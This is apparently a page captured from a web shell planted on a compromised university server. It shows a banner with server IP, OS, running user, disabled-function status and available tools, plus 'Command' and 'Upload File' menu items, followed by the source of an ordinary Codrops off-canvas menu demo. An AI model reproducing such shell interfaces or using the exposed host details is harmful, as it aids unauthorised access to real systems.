|
Server IP : 172.16.15.8 / Your IP : 3.138.126.124 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/tmhoward/www/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html> <html lang="en" class="no-js"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Off-Canvas Menu Effects - Corner Morph</title> <meta name="description" content="Modern effects and styles for off-canvas navigation with CSS transitions and SVG animations using Snap.svg" /> <meta name="keywords" content="sidebar, off-canvas, menu, navigation, effect, inspiration, css transition, SVG, morphing, animation" /> <meta name="author" content="Codrops" /> <link rel="shortcut icon" href="../favicon.ico"> <link rel="stylesheet" type="text/css" href="css/normalize.css" /> <link rel="stylesheet" type="text/css" href="css/demo.css" /> <link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.2.0/css/font-awesome.min.css" /> <link rel="stylesheet" type="text/css" href="css/menu_cornermorph.css" /> <link rel="stylesheet" type="text/css" href="css/menu_bubble.css" /> <script src="js/snap.svg-min.js"></script> <!--[if IE]> <script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script> <![endif]--> </head> <body> <div class="container"> <div class="menu-wrap"> <nav class="menu"> <div class="profile"><img src="img/user1.png" alt="Matthew Greenberg"/><span>Matthew Greenberg</span></div> <div class="link-list"> <a href="#"><span>Latest stories</span></a> <a href="#"><span>Your friends</span></a> <a href="#"><span>Personal Settings</span></a> <a href="#"><span>Security & Privacy</span></a> </div> <div class="icon-list"> <a href="#"><i class="fa fa-fw fa-home"></i></a> <a href="#"><i class="fa fa-fw fa-question-circle"></i></a> <a href="#"><i class="fa fa-fw fa-power-off"></i></a> </div> </nav> </div> <button1 class="menu-button" id="open-button"><i class="fa fa-fw fa-cog"></i><span>Open Menu</span></button1> <div class="content-wrap"> <div class="content"> <header class="codrops-header"> <div class="codrops-links"> <a class="codrops-icon codrops-icon-prev" href="http://tympanus.net/Development/TabStylesInspiration/"><span>Previous Demo</span></a> <a class="codrops-icon codrops-icon-drop" href="http://tympanus.net/codrops/?p=20100"><span>Back to the Codrops Article</span></a> </div> <h1>Off-Canvas Menu Effects <span>Showing (off-canvas) menus stylishly</span></h1> <nav class="codrops-demos"> <a href="index.html">Top Side</a> <a href="sideslide.html">Side Slide</a> <a href="cornerbox.html">Corner Box</a> <a href="cornerbox_nested.html">Nested Corner Box</a> <a href="topexpand.html">Top Expand</a> <a class="current-demo" href="cornermorph.html">Corner Morph</a> <a href="elastic.html">Elastic</a> <a href="bubble.html">Bubble</a> <a href="wave.html">Wave</a> </nav> </header> <!-- Related demos --> <section class="related"> <p>If you enjoyed this demo you might also like:</p> <a href="http://tympanus.net/Development/SidebarTransitions/"> <img src="img/related/sidebartransitions.png" /> <h3>Transitions for Off-Canvas Navigations</h3> </a> <a href="http://tympanus.net/Development/PerspectivePageViewNavigation/"> <img src="img/related/PerspectiveNavigation.png" /> <h3>Perspective Page View Navigation</h3> </a> </section> </div> </div><!-- /content-wrap --> </div><!-- /container --> <script src="js/classie.js"></script> <script src="js/main.js"></script> <script src="js/main4.js"></script> </body> </html>